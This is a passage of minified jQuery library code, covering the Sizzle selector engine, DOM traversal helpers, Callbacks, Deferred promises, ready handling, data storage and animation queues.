                                    if (1 === m.nodeType && ++t && m === b) {
                                        k[a] = [w, n, t];
                                        break
                                    }
                            } else if (s && (m = b,
                            l = m[u] || (m[u] = {}),
                            k = l[m.uniqueID] || (l[m.uniqueID] = {}),
                            j = k[a] || [],
                            n = j[0] === w && j[1],
                            t = n),
                            t === !1)
                                while (m = ++n && m && m[p] || (t = n = 0) || o.pop())
                                    if ((h ? m.nodeName.toLowerCase() === r : 1 === m.nodeType) && ++t && (s && (l = m[u] || (m[u] = {}),
                                    k = l[m.uniqueID] || (l[m.uniqueID] = {}),
                                    k[a] = [w, t]),
                                    m === b))
                                        break;
                            return t -= e,
                            t === d || t % d === 0 && t / d >= 0
                        }
                    }
                },
                PSEUDO: function(a, b) {
                    var c, e = d.pseudos[a] || d.setFilters[a.toLowerCase()] || ga.error("unsupported pseudo: " + a);
                    return e[u] ? e(b) : e.length > 1 ? (c = [a, a, "", b],
                    d.setFilters.hasOwnProperty(a.toLowerCase()) ? ia(function(a, c) {
                        var d, f = e(a, b), g = f.length;
                        while (g--)
                            d = I(a, f[g]),
                            a[d] = !(c[d] = f[g])
                    }) : function(a) {
                        return e(a, 0, c)
                    }
                    ) : e
                }
            },
            pseudos: {
                not: ia(function(a) {
                    var b = []
                      , c = []
                      , d = h(a.replace(P, "$1"));
                    return d[u] ? ia(function(a, b, c, e) {
                        var f, g = d(a, null, e, []), h = a.length;
                        while (h--)
                            (f = g[h]) && (a[h] = !(b[h] = f))
                    }) : function(a, e, f) {
                        return b[0] = a,
                        d(b, null, f, c),
                        b[0] = null,
                        !c.pop()
                    }
                }),
                has: ia(function(a) {
                    return function(b) {
                        return ga(a, b).length > 0
                    }
                }),
                contains: ia(function(a) {
                    return a = a.replace(_, aa),
                    function(b) {
                        return (b.textContent || b.innerText || e(b)).indexOf(a) > -1
                    }
                }),
                lang: ia(function(a) {
                    return U.test(a || "") || ga.error("unsupported lang: " + a),
                    a = a.replace(_, aa).toLowerCase(),
                    function(b) {
                        var c;
                        do {
                            if (c = p ? b.lang : b.getAttribute("xml:lang") || b.getAttribute("lang"))
                                return c = c.toLowerCase(),
                                c === a || 0 === c.indexOf(a + "-")
                        } while ((b = b.parentNode) && 1 === b.nodeType);
                        return !1
                    }
                }),
                target: function(b) {
                    var c = a.location && a.location.hash;
                    return c && c.slice(1) === b.id
                },
                root: function(a) {
                    return a === o
                },
                focus: function(a) {
                    return a === n.activeElement && (!n.hasFocus || n.hasFocus()) && !!(a.type || a.href || ~a.tabIndex)
                },
                enabled: oa(!1),
                disabled: oa(!0),
                checked: function(a) {
                    var b = a.nodeName.toLowerCase();
                    return "input" === b && !!a.checked || "option" === b && !!a.selected
                },
                selected: function(a) {
                    return a.parentNode && a.parentNode.selectedIndex,
                    a.selected === !0
                },
                empty: function(a) {
                    for (a = a.firstChild; a; a = a.nextSibling)
                        if (a.nodeType < 6)
                            return !1;
                    return !0
                },
                parent: function(a) {
                    return !d.pseudos.empty(a)
                },
                header: function(a) {
                    return X.test(a.nodeName)
                },
                input: function(a) {
                    return W.test(a.nodeName)
                },
                button: function(a) {
                    var b = a.nodeName.toLowerCase();
                    return "input" === b && "button" === a.type || "button" === b
                },
                text: function(a) {
                    var b;
                    return "input" === a.nodeName.toLowerCase() && "text" === a.type && (null == (b = a.getAttribute("type")) || "text" === b.toLowerCase())
                },
                first: pa(function() {
                    return [0]
                }),
                last: pa(function(a, b) {
                    return [b - 1]
                }),
                eq: pa(function(a, b, c) {
                    return [0 > c ? c + b : c]
                }),
                even: pa(function(a, b) {
                    for (var c = 0; b > c; c += 2)
                        a.push(c);
                    return a
                }),
                odd: pa(function(a, b) {
                    for (var c = 1; b > c; c += 2)
                        a.push(c);
                    return a
                }),
                lt: pa(function(a, b, c) {
                    for (var d = 0 > c ? c + b : c; --d >= 0; )
                        a.push(d);
                    return a
                }),
                gt: pa(function(a, b, c) {
                    for (var d = 0 > c ? c + b : c; ++d < b; )
                        a.push(d);
                    return a
                })
            }
        },
        d.pseudos.nth = d.pseudos.eq;
        for (b in {
            radio: !0,
            checkbox: !0,
            file: !0,
            password: !0,
            image: !0
        })
            d.pseudos[b] = ma(b);
        for (b in {
            submit: !0,
            reset: !0
        })
            d.pseudos[b] = na(b);
        function ra() {}
        ra.prototype = d.filters = d.pseudos,
        d.setFilters = new ra,
        g = ga.tokenize = function(a, b) {
            var c, e, f, g, h, i, j, k = z[a + " "];
            if (k)
                return b ? 0 : k.slice(0);
            h = a,
            i = [],
            j = d.preFilter;
            while (h) {
                c && !(e = Q.exec(h)) || (e && (h = h.slice(e[0].length) || h),
                i.push(f = [])),
                c = !1,
                (e = R.exec(h)) && (c = e.shift(),
                f.push({
                    value: c,
                    type: e[0].replace(P, " ")
                }),
                h = h.slice(c.length));
                for (g in d.filter)
                    !(e = V[g].exec(h)) || j[g] && !(e = j[g](e)) || (c = e.shift(),
                    f.push({
                        value: c,
                        type: g,
                        matches: e
                    }),
                    h = h.slice(c.length));
                if (!c)
                    break
            }
            return b ? h.length : h ? ga.error(a) : z(a, i).slice(0)
        }
        ;
        function sa(a) {
            for (var b = 0, c = a.length, d = ""; c > b; b++)
                d += a[b].value;
            return d
        }
        function ta(a, b, c) {
            var d = b.dir
              , e = b.next
              , f = e || d
              , g = c && "parentNode" === f
              , h = x++;
            return b.first ? function(b, c, e) {
                while (b = b[d])
                    if (1 === b.nodeType || g)
                        return a(b, c, e)
            }
            : function(b, c, i) {
                var j, k, l, m = [w, h];
                if (i) {
                    while (b = b[d])
                        if ((1 === b.nodeType || g) && a(b, c, i))
                            return !0
                } else
                    while (b = b[d])
                        if (1 === b.nodeType || g)
                            if (l = b[u] || (b[u] = {}),
                            k = l[b.uniqueID] || (l[b.uniqueID] = {}),
                            e && e === b.nodeName.toLowerCase())
                                b = b[d] || b;
                            else {
                                if ((j = k[f]) && j[0] === w && j[1] === h)
                                    return m[2] = j[2];
                                if (k[f] = m,
                                m[2] = a(b, c, i))
                                    return !0
                            }
            }
        }
        function ua(a) {
            return a.length > 1 ? function(b, c, d) {
                var e = a.length;
                while (e--)
                    if (!a[e](b, c, d))
                        return !1;
                return !0
            }
            : a[0]
        }
        function va(a, b, c) {
            for (var d = 0, e = b.length; e > d; d++)
                ga(a, b[d], c);
            return c
        }
        function wa(a, b, c, d, e) {
            for (var f, g = [], h = 0, i = a.length, j = null != b; i > h; h++)
                (f = a[h]) && (c && !c(f, d, e) || (g.push(f),
                j && b.push(h)));
            return g
        }
        function xa(a, b, c, d, e, f) {
            return d && !d[u] && (d = xa(d)),
            e && !e[u] && (e = xa(e, f)),
            ia(function(f, g, h, i) {
                var j, k, l, m = [], n = [], o = g.length, p = f || va(b || "*", h.nodeType ? [h] : h, []), q = !a || !f && b ? p : wa(p, m, a, h, i), r = c ? e || (f ? a : o || d) ? [] : g : q;
                if (c && c(q, r, h, i),
                d) {
                    j = wa(r, n),
                    d(j, [], h, i),
                    k = j.length;
                    while (k--)
                        (l = j[k]) && (r[n[k]] = !(q[n[k]] = l))
                }
                if (f) {
                    if (e || a) {
                        if (e) {
                            j = [],
                            k = r.length;
                            while (k--)
                                (l = r[k]) && j.push(q[k] = l);
                            e(null, r = [], j, i)
                        }
                        k = r.length;
                        while (k--)
                            (l = r[k]) && (j = e ? I(f, l) : m[k]) > -1 && (f[j] = !(g[j] = l))
                    }
                } else
                    r = wa(r === g ? r.splice(o, r.length) : r),
                    e ? e(null, g, r, i) : G.apply(g, r)
            })
        }
        function ya(a) {
            for (var b, c, e, f = a.length, g = d.relative[a[0].type], h = g || d.relative[" "], i = g ? 1 : 0, k = ta(function(a) {
                return a === b
            }, h, !0), l = ta(function(a) {
                return I(b, a) > -1
            }, h, !0), m = [function(a, c, d) {
                var e = !g && (d || c !== j) || ((b = c).nodeType ? k(a, c, d) : l(a, c, d));
                return b = null,
                e
            }
            ]; f > i; i++)
                if (c = d.relative[a[i].type])
                    m = [ta(ua(m), c)];
                else {
                    if (c = d.filter[a[i].type].apply(null, a[i].matches),
                    c[u]) {
                        for (e = ++i; f > e; e++)
                            if (d.relative[a[e].type])
                                break;
                        return xa(i > 1 && ua(m), i > 1 && sa(a.slice(0, i - 1).concat({
                            value: " " === a[i - 2].type ? "*" : ""
                        })).replace(P, "$1"), c, e > i && ya(a.slice(i, e)), f > e && ya(a = a.slice(e)), f > e && sa(a))
                    }
                    m.push(c)
                }
            return ua(m)
        }
        function za(a, b) {
            var c = b.length > 0
              , e = a.length > 0
              , f = function(f, g, h, i, k) {
                var l, o, q, r = 0, s = "0", t = f && [], u = [], v = j, x = f || e && d.find.TAG("*", k), y = w += null == v ? 1 : Math.random() || .1, z = x.length;
                for (k && (j = g === n || g || k); s !== z && null != (l = x[s]); s++) {
                    if (e && l) {
                        o = 0,
                        g || l.ownerDocument === n || (m(l),
                        h = !p);
                        while (q = a[o++])
                            if (q(l, g || n, h)) {
                                i.push(l);
                                break
                            }
                        k && (w = y)
                    }
                    c && ((l = !q && l) && r--,
                    f && t.push(l))
                }
                if (r += s,
                c && s !== r) {
                    o = 0;
                    while (q = b[o++])
                        q(t, u, g, h);
                    if (f) {
                        if (r > 0)
                            while (s--)
                                t[s] || u[s] || (u[s] = E.call(i));
                        u = wa(u)
                    }
                    G.apply(i, u),
                    k && !f && u.length > 0 && r + b.length > 1 && ga.uniqueSort(i)
                }
                return k && (w = y,
                j = v),
                t
            };
            return c ? ia(f) : f
        }
        return h = ga.compile = function(a, b) {
            var c, d = [], e = [], f = A[a + " "];
            if (!f) {
                b || (b = g(a)),
                c = b.length;
                while (c--)
                    f = ya(b[c]),
                    f[u] ? d.push(f) : e.push(f);
                f = A(a, za(e, d)),
                f.selector = a
            }
            return f
        }
        ,
        i = ga.select = function(a, b, e, f) {
            var i, j, k, l, m, n = "function" == typeof a && a, o = !f && g(a = n.selector || a);
            if (e = e || [],
            1 === o.length) {
                if (j = o[0] = o[0].slice(0),
                j.length > 2 && "ID" === (k = j[0]).type && c.getById && 9 === b.nodeType && p && d.relative[j[1].type]) {
                    if (b = (d.find.ID(k.matches[0].replace(_, aa), b) || [])[0],
                    !b)
                        return e;
                    n && (b = b.parentNode),
                    a = a.slice(j.shift().value.length)
                }
                i = V.needsContext.test(a) ? 0 : j.length;
                while (i--) {
                    if (k = j[i],
                    d.relative[l = k.type])
                        break;
                    if ((m = d.find[l]) && (f = m(k.matches[0].replace(_, aa), $.test(j[0].type) && qa(b.parentNode) || b))) {
                        if (j.splice(i, 1),
                        a = f.length && sa(j),
                        !a)
                            return G.apply(e, f),
                            e;
                        break
                    }
                }
            }
            return (n || h(a, o))(f, b, !p, e, !b || $.test(a) && qa(b.parentNode) || b),
            e
        }
        ,
        c.sortStable = u.split("").sort(B).join("") === u,
        c.detectDuplicates = !!l,
        m(),
        c.sortDetached = ja(function(a) {
            return 1 & a.compareDocumentPosition(n.createElement("fieldset"))
        }),
        ja(function(a) {
            return a.innerHTML = "<a href='#'></a>",
            "#" === a.firstChild.getAttribute("href")
        }) || ka("type|href|height|width", function(a, b, c) {
            return c ? void 0 : a.getAttribute(b, "type" === b.toLowerCase() ? 1 : 2)
        }),
        c.attributes && ja(function(a) {
            return a.innerHTML = "<input/>",
            a.firstChild.setAttribute("value", ""),
            "" === a.firstChild.getAttribute("value")
        }) || ka("value", function(a, b, c) {
            return c || "input" !== a.nodeName.toLowerCase() ? void 0 : a.defaultValue
        }),
        ja(function(a) {
            return null == a.getAttribute("disabled")
        }) || ka(J, function(a, b, c) {
            var d;
            return c ? void 0 : a[b] === !0 ? b.toLowerCase() : (d = a.getAttributeNode(b)) && d.specified ? d.value : null
        }),
        ga
    }(a);
    r.find = x,
    r.expr = x.selectors,
    r.expr[":"] = r.expr.pseudos,
    r.uniqueSort = r.unique = x.uniqueSort,
    r.text = x.getText,
    r.isXMLDoc = x.isXML,
    r.contains = x.contains,
    r.escapeSelector = x.escape;
    var y = function(a, b, c) {
        var d = []
          , e = void 0 !== c;
        while ((a = a[b]) && 9 !== a.nodeType)
            if (1 === a.nodeType) {
                if (e && r(a).is(c))
                    break;
                d.push(a)
            }
        return d
    }
      , z = function(a, b) {
        for (var c = []; a; a = a.nextSibling)
            1 === a.nodeType && a !== b && c.push(a);
        return c
    }
      , A = r.expr.match.needsContext
      , B = /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i
      , C = /^.[^:#\[\.,]*$/;
    function D(a, b, c) {
        if (r.isFunction(b))
            return r.grep(a, function(a, d) {
                return !!b.call(a, d, a) !== c
            });
        if (b.nodeType)
            return r.grep(a, function(a) {
                return a === b !== c
            });
        if ("string" == typeof b) {
            if (C.test(b))
                return r.filter(b, a, c);
            b = r.filter(b, a)
        }
        return r.grep(a, function(a) {
            return i.call(b, a) > -1 !== c && 1 === a.nodeType
        })
    }
    r.filter = function(a, b, c) {
        var d = b[0];
        return c && (a = ":not(" + a + ")"),
        1 === b.length && 1 === d.nodeType ? r.find.matchesSelector(d, a) ? [d] : [] : r.find.matches(a, r.grep(b, function(a) {
            return 1 === a.nodeType
        }))
    }
    ,
    r.fn.extend({
        find: function(a) {
            var b, c, d = this.length, e = this;
            if ("string" != typeof a)
                return this.pushStack(r(a).filter(function() {
                    for (b = 0; d > b; b++)
                        if (r.contains(e[b], this))
                            return !0
                }));
            for (c = this.pushStack([]),
            b = 0; d > b; b++)
                r.find(a, e[b], c);
            return d > 1 ? r.uniqueSort(c) : c
        },
        filter: function(a) {
            return this.pushStack(D(this, a || [], !1))
        },
        not: function(a) {
            return this.pushStack(D(this, a || [], !0))
        },
        is: function(a) {
            return !!D(this, "string" == typeof a && A.test(a) ? r(a) : a || [], !1).length
        }
    });
    var E, F = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, G = r.fn.init = function(a, b, c) {
        var e, f;
        if (!a)
            return this;
        if (c = c || E,
        "string" == typeof a) {
            if (e = "<" === a[0] && ">" === a[a.length - 1] && a.length >= 3 ? [null, a, null] : F.exec(a),
            !e || !e[1] && b)
                return !b || b.jquery ? (b || c).find(a) : this.constructor(b).find(a);
            if (e[1]) {
                if (b = b instanceof r ? b[0] : b,
                r.merge(this, r.parseHTML(e[1], b && b.nodeType ? b.ownerDocument || b : d, !0)),
                B.test(e[1]) && r.isPlainObject(b))
                    for (e in b)
                        r.isFunction(this[e]) ? this[e](b[e]) : this.attr(e, b[e]);
                return this
            }
            return f = d.getElementById(e[2]),
            f && (this[0] = f,
            this.length = 1),
            this
        }
        return a.nodeType ? (this[0] = a,
        this.length = 1,
        this) : r.isFunction(a) ? void 0 !== c.ready ? c.ready(a) : a(r) : r.makeArray(a, this)
    }
    ;
    G.prototype = r.fn,
    E = r(d);
    var H = /^(?:parents|prev(?:Until|All))/
      , I = {
        children: !0,
        contents: !0,
        next: !0,
        prev: !0
    };
    r.fn.extend({
        has: function(a) {
            var b = r(a, this)
              , c = b.length;
            return this.filter(function() {
                for (var a = 0; c > a; a++)
                    if (r.contains(this, b[a]))
                        return !0
            })
        },
        closest: function(a, b) {
            var c, d = 0, e = this.length, f = [], g = "string" != typeof a && r(a);
            if (!A.test(a))
                for (; e > d; d++)
                    for (c = this[d]; c && c !== b; c = c.parentNode)
                        if (c.nodeType < 11 && (g ? g.index(c) > -1 : 1 === c.nodeType && r.find.matchesSelector(c, a))) {
                            f.push(c);
                            break
                        }
            return this.pushStack(f.length > 1 ? r.uniqueSort(f) : f)
        },
        index: function(a) {
            return a ? "string" == typeof a ? i.call(r(a), this[0]) : i.call(this, a.jquery ? a[0] : a) : this[0] && this[0].parentNode ? this.first().prevAll().length : -1
        },
        add: function(a, b) {
            return this.pushStack(r.uniqueSort(r.merge(this.get(), r(a, b))))
        },
        addBack: function(a) {
            return this.add(null == a ? this.prevObject : this.prevObject.filter(a))
        }
    });
    function J(a, b) {
        while ((a = a[b]) && 1 !== a.nodeType)
            ;
        return a
    }
    r.each({
        parent: function(a) {
            var b = a.parentNode;
            return b && 11 !== b.nodeType ? b : null
        },
        parents: function(a) {
            return y(a, "parentNode")
        },
        parentsUntil: function(a, b, c) {
            return y(a, "parentNode", c)
        },
        next: function(a) {
            return J(a, "nextSibling")
        },
        prev: function(a) {
            return J(a, "previousSibling")
        },
        nextAll: function(a) {
            return y(a, "nextSibling")
        },
        prevAll: function(a) {
            return y(a, "previousSibling")
        },
        nextUntil: function(a, b, c) {
            return y(a, "nextSibling", c)
        },
        prevUntil: function(a, b, c) {
            return y(a, "previousSibling", c)
        },
        siblings: function(a) {
            return z((a.parentNode || {}).firstChild, a)
        },
        children: function(a) {
            return z(a.firstChild)
        },
        contents: function(a) {
            return a.contentDocument || r.merge([], a.childNodes)
        }
    }, function(a, b) {
        r.fn[a] = function(c, d) {
            var e = r.map(this, b, c);
            return "Until" !== a.slice(-5) && (d = c),
            d && "string" == typeof d && (e = r.filter(d, e)),
            this.length > 1 && (I[a] || r.uniqueSort(e),
            H.test(a) && e.reverse()),
            this.pushStack(e)
        }
    });
    var K = /\S+/g;
    function L(a) {
        var b = {};
        return r.each(a.match(K) || [], function(a, c) {
            b[c] = !0
        }),
        b
    }
    r.Callbacks = function(a) {
        a = "string" == typeof a ? L(a) : r.extend({}, a);
        var b, c, d, e, f = [], g = [], h = -1, i = function() {
            for (e = a.once,
            d = b = !0; g.length; h = -1) {
                c = g.shift();
                while (++h < f.length)
                    f[h].apply(c[0], c[1]) === !1 && a.stopOnFalse && (h = f.length,
                    c = !1)
            }
            a.memory || (c = !1),
            b = !1,
            e && (f = c ? [] : "")
        }, j = {
            add: function() {
                return f && (c && !b && (h = f.length - 1,
                g.push(c)),
                function d(b) {
                    r.each(b, function(b, c) {
                        r.isFunction(c) ? a.unique && j.has(c) || f.push(c) : c && c.length && "string" !== r.type(c) && d(c)
                    })
                }(arguments),
                c && !b && i()),
                this
            },
            remove: function() {
                return r.each(arguments, function(a, b) {
                    var c;
                    while ((c = r.inArray(b, f, c)) > -1)
                        f.splice(c, 1),
                        h >= c && h--
                }),
                this
            },
            has: function(a) {
                return a ? r.inArray(a, f) > -1 : f.length > 0
            },
            empty: function() {
                return f && (f = []),
                this
            },
            disable: function() {
                return e = g = [],
                f = c = "",
                this
            },
            disabled: function() {
                return !f
            },
            lock: function() {
                return e = g = [],
                c || b || (f = c = ""),
                this
            },
            locked: function() {
                return !!e
            },
            fireWith: function(a, c) {
                return e || (c = c || [],
                c = [a, c.slice ? c.slice() : c],
                g.push(c),
                b || i()),
                this
            },
            fire: function() {
                return j.fireWith(this, arguments),
                this
            },
            fired: function() {
                return !!d
            }
        };
        return j
    }
    ;
    function M(a) {
        return a
    }
    function N(a) {
        throw a
    }
    function O(a, b, c) {
        var d;
        try {
            a && r.isFunction(d = a.promise) ? d.call(a).done(b).fail(c) : a && r.isFunction(d = a.then) ? d.call(a, b, c) : b.call(void 0, a)
        } catch (a) {
            c.call(void 0, a)
        }
    }
    r.extend({
        Deferred: function(b) {
            var c = [["notify", "progress", r.Callbacks("memory"), r.Callbacks("memory"), 2], ["resolve", "done", r.Callbacks("once memory"), r.Callbacks("once memory"), 0, "resolved"], ["reject", "fail", r.Callbacks("once memory"), r.Callbacks("once memory"), 1, "rejected"]]
              , d = "pending"
              , e = {
                state: function() {
                    return d
                },
                always: function() {
                    return f.done(arguments).fail(arguments),
                    this
                },
                catch: function(a) {
                    return e.then(null, a)
                },
                pipe: function() {
                    var a = arguments;
                    return r.Deferred(function(b) {
                        r.each(c, function(c, d) {
                            var e = r.isFunction(a[d[4]]) && a[d[4]];
                            f[d[1]](function() {
                                var a = e && e.apply(this, arguments);
                                a && r.isFunction(a.promise) ? a.promise().progress(b.notify).done(b.resolve).fail(b.reject) : b[d[0] + "With"](this, e ? [a] : arguments)
                            })
                        }),
                        a = null
                    }).promise()
                },
                then: function(b, d, e) {
                    var f = 0;
                    function g(b, c, d, e) {
                        return function() {
                            var h = this
                              , i = arguments
                              , j = function() {
                                var a, j;
                                if (!(f > b)) {
                                    if (a = d.apply(h, i),
                                    a === c.promise())
                                        throw new TypeError("Thenable self-resolution");
                                    j = a && ("object" == typeof a || "function" == typeof a) && a.then,
                                    r.isFunction(j) ? e ? j.call(a, g(f, c, M, e), g(f, c, N, e)) : (f++,
                                    j.call(a, g(f, c, M, e), g(f, c, N, e), g(f, c, M, c.notifyWith))) : (d !== M && (h = void 0,
                                    i = [a]),
                                    (e || c.resolveWith)(h, i))
                                }
                            }
                              , k = e ? j : function() {
                                try {
                                    j()
                                } catch (a) {
                                    r.Deferred.exceptionHook && r.Deferred.exceptionHook(a, k.stackTrace),
                                    b + 1 >= f && (d !== N && (h = void 0,
                                    i = [a]),
                                    c.rejectWith(h, i))
                                }
                            }
                            ;
                            b ? k() : (r.Deferred.getStackHook && (k.stackTrace = r.Deferred.getStackHook()),
                            a.setTimeout(k))
                        }
                    }
                    return r.Deferred(function(a) {
                        c[0][3].add(g(0, a, r.isFunction(e) ? e : M, a.notifyWith)),
                        c[1][3].add(g(0, a, r.isFunction(b) ? b : M)),
                        c[2][3].add(g(0, a, r.isFunction(d) ? d : N))
                    }).promise()
                },
                promise: function(a) {
                    return null != a ? r.extend(a, e) : e
                }
            }
              , f = {};
            return r.each(c, function(a, b) {
                var g = b[2]
                  , h = b[5];
                e[b[1]] = g.add,
                h && g.add(function() {
                    d = h
                }, c[3 - a][2].disable, c[0][2].lock),
                g.add(b[3].fire),
                f[b[0]] = function() {
                    return f[b[0] + "With"](this === f ? void 0 : this, arguments),
                    this
                }
                ,
                f[b[0] + "With"] = g.fireWith
            }),
            e.promise(f),
            b && b.call(f, f),
            f
        },
        when: function(a) {
            var b = arguments.length
              , c = b
              , d = Array(c)
              , e = f.call(arguments)
              , g = r.Deferred()
              , h = function(a) {
                return function(c) {
                    d[a] = this,
                    e[a] = arguments.length > 1 ? f.call(arguments) : c,
                    --b || g.resolveWith(d, e)
                }
            };
            if (1 >= b && (O(a, g.done(h(c)).resolve, g.reject),
            "pending" === g.state() || r.isFunction(e[c] && e[c].then)))
                return g.then();
            while (c--)
                O(e[c], h(c), g.reject);
            return g.promise()
        }
    });
    var P = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
    r.Deferred.exceptionHook = function(b, c) {
        a.console && a.console.warn && b && P.test(b.name) && a.console.warn("jQuery.Deferred exception: " + b.message, b.stack, c)
    }
    ;
    var Q = r.Deferred();
    r.fn.ready = function(a) {
        return Q.then(a),
        this
    }
    ,
    r.extend({
        isReady: !1,
        readyWait: 1,
        holdReady: function(a) {
            a ? r.readyWait++ : r.ready(!0)
        },
        ready: function(a) {
            (a === !0 ? --r.readyWait : r.isReady) || (r.isReady = !0,
            a !== !0 && --r.readyWait > 0 || Q.resolveWith(d, [r]))
        }
    }),
    r.ready.then = Q.then;
    function R() {
        d.removeEventListener("DOMContentLoaded", R),
        a.removeEventListener("load", R),
        r.ready()
    }
    "complete" === d.readyState || "loading" !== d.readyState && !d.documentElement.doScroll ? a.setTimeout(r.ready) : (d.addEventListener("DOMContentLoaded", R),
    a.addEventListener("load", R));
    var S = function(a, b, c, d, e, f, g) {
        var h = 0
          , i = a.length
          , j = null == c;
        if ("object" === r.type(c)) {
            e = !0;
            for (h in c)
                S(a, b, h, c[h], !0, f, g)
        } else if (void 0 !== d && (e = !0,
        r.isFunction(d) || (g = !0),
        j && (g ? (b.call(a, d),
        b = null) : (j = b,
        b = function(a, b, c) {
            return j.call(r(a), c)
        }
        )),
        b))
            for (; i > h; h++)
                b(a[h], c, g ? d : d.call(a[h], h, b(a[h], c)));
        return e ? a : j ? b.call(a) : i ? b(a[0], c) : f
    }
      , T = function(a) {
        return 1 === a.nodeType || 9 === a.nodeType || !+a.nodeType
    };
    function U() {
        this.expando = r.expando + U.uid++
    }
    U.uid = 1,
    U.prototype = {
        cache: function(a) {
            var b = a[this.expando];
            return b || (b = {},
            T(a) && (a.nodeType ? a[this.expando] = b : Object.defineProperty(a, this.expando, {
                value: b,
                configurable: !0
            }))),
            b
        },
        set: function(a, b, c) {
            var d, e = this.cache(a);
            if ("string" == typeof b)
                e[r.camelCase(b)] = c;
            else
                for (d in b)
                    e[r.camelCase(d)] = b[d];
            return e
        },
        get: function(a, b) {
            return void 0 === b ? this.cache(a) : a[this.expando] && a[this.expando][r.camelCase(b)]
        },
        access: function(a, b, c) {
            return void 0 === b || b && "string" == typeof b && void 0 === c ? this.get(a, b) : (this.set(a, b, c),
            void 0 !== c ? c : b)
        },
        remove: function(a, b) {
            var c, d = a[this.expando];
            if (void 0 !== d) {
                if (void 0 !== b) {
                    r.isArray(b) ? b = b.map(r.camelCase) : (b = r.camelCase(b),
                    b = b in d ? [b] : b.match(K) || []),
                    c = b.length;
                    while (c--)
                        delete d[b[c]]
                }
                (void 0 === b || r.isEmptyObject(d)) && (a.nodeType ? a[this.expando] = void 0 : delete a[this.expando])
            }
        },
        hasData: function(a) {
            var b = a[this.expando];
            return void 0 !== b && !r.isEmptyObject(b)
        }
    };
    var V = new U
      , W = new U
      , X = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/
      , Y = /[A-Z]/g;
    function Z(a, b, c) {
        var d;
        if (void 0 === c && 1 === a.nodeType)
            if (d = "data-" + b.replace(Y, "-$&").toLowerCase(),
            c = a.getAttribute(d),
            "string" == typeof c) {
                try {
                    c = "true" === c ? !0 : "false" === c ? !1 : "null" === c ? null : +c + "" === c ? +c : X.test(c) ? JSON.parse(c) : c
                } catch (e) {}
                W.set(a, b, c)
            } else
                c = void 0;
        return c
    }
    r.extend({
        hasData: function(a) {
            return W.hasData(a) || V.hasData(a)
        },
        data: function(a, b, c) {
            return W.access(a, b, c)
        },
        removeData: function(a, b) {
            W.remove(a, b)
        },
        _data: function(a, b, c) {
            return V.access(a, b, c)
        },
        _removeData: function(a, b) {
            V.remove(a, b)
        }
    }),
    r.fn.extend({
        data: function(a, b) {
            var c, d, e, f = this[0], g = f && f.attributes;
            if (void 0 === a) {
                if (this.length && (e = W.get(f),
                1 === f.nodeType && !V.get(f, "hasDataAttrs"))) {
                    c = g.length;
                    while (c--)
                        g[c] && (d = g[c].name,
                        0 === d.indexOf("data-") && (d = r.camelCase(d.slice(5)),
                        Z(f, d, e[d])));
                    V.set(f, "hasDataAttrs", !0)
                }
                return e
            }
            return "object" == typeof a ? this.each(function() {
                W.set(this, a)
            }) : S(this, function(b) {
                var c;
                if (f && void 0 === b) {
                    if (c = W.get(f, a),
                    void 0 !== c)
                        return c;
                    if (c = Z(f, a),
                    void 0 !== c)
                        return c
                } else
                    this.each(function() {
                        W.set(this, a, b)
                    })
            }, null, b, arguments.length > 1, null, !0)
        },
        removeData: function(a) {
            return this.each(function() {
                W.remove(this, a)
            })
        }
    }),
    r.extend({
        queue: function(a, b, c) {
            var d;
            return a ? (b = (b || "fx") + "queue",
            d = V.get(a, b),
            c && (!d || r.isArray(c) ? d = V.access(a, b, r.makeArray(c)) : d.push(c)),
            d || []) : void 0
        },
        dequeue: function(a, b) {
            b = b || "fx";
            var c = r.queue(a, b)
              , d = c.length
              , e = c.shift()
              , f = r._queueHooks(a, b)
              , g = function() {
                r.dequeue(a, b)
            };
            "inprogress" === e && (e = c.shift(),
            d--),
            e && ("fx" === b && c.unshift("inprogress"),
            delete f.stop,
            e.call(a, g, f)),
            !d && f && f.empty.fire()
        },
        _queueHooks: function(a, b) {
            var c = b + "queueHooks";
            return V.get(a, c) || V.access(a, c, {
                empty: r.Callbacks("once memory").add(function() {
                    V.remove(a, [b + "queue", c])
                })
            })
        }
    }),
    r.fn.extend({
        queue: function(a, b) {
            var c = 2;
            return "string" != typeof a && (b = a,
            a = "fx",
            c--),
            arguments.length < c ? r.queue(this[0], a) : void 0 === b ? this : this.each(function() {
                var c = r.queue(this, a, b);
                r._queueHooks(this, a),
                "fx" === a && "inprogress" !== c[0] && r.dequeue(this, a)
            })
        },
        dequeue: function(a) {
            return this.each(function() {
                r.dequeue(this, a)
            })
        },
        clearQueue: function(a) {
            return this.queue(a || "fx", [])
        },
        promise: function(a, b) {
            var c, d = 1, e = r.Deferred(), f = this, g = this.length, h = function() {
                --d || e.resolveWith(f, [f])
            };
            "string" != typeof a && (b = a,
            a = void 0),
            a = a || "fx";
            while (g--)
                c = V.get(f[g], a + "queueHooks"),
                c && c.empty && (d++,
                c.empty.add(h));
            return h(),
            e.promise(b)
        }
    });
    var $ = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source
      , _ = new RegExp("^(?:([+-])=|)(" + $ + ")([a-z%]*)$","i")
      , aa = ["Top", "Right", "Bottom", "Left"]
      , ba = function(a, b) {
        return a = b || a,
        "none" === a.style.display || "" === a.style.display && r.contains(a.ownerDocument, a) && "none" === r.css(a, "display")
    }
      , ca = function(a, b, c, d) {
        var e, f, g = {};
        for (f in b)
            g[f] = a.style[f],
            a.style[f] = b[f];
        e = c.apply(a, d || []);
        for (f in b)
            a.style[f] = g[f];
        return e
    };
    function da(a, b, c, d) {
        var e, f = 1, g = 20, h = d ? function() {
            return d.cur()
        }
        : function() {
            return r.css(a, b, "")
        }
        , i = h(), j = c && c[3] || (r.cssNumber[b] ? "" : "px"), k = (r.cssNumber[b] || "px" !== j && +i) && _.exec(r.css(a, b));
        if (k && k[3] !== j) {
            j = j || k[3],
            c = c || [],
            k = +i || 1;
            do {
                f = f || ".5",
                k /= f,
                r.style(a, b, k + j)
            } while (f !== (f = h() / i) && 1 !== f && --g)
        }
        return c && (k = +k || +i || 0,
        e = c[1] ? k + (c[1] + 1) * c[2] : +c[2],
        d && (d.unit = j,
        d.start = k,
        d.end = e)),
        e
    }
    var ea = {};
    function fa(a) {
        var b, c = a.ownerDocument, d = a.nodeName, e = ea[d];
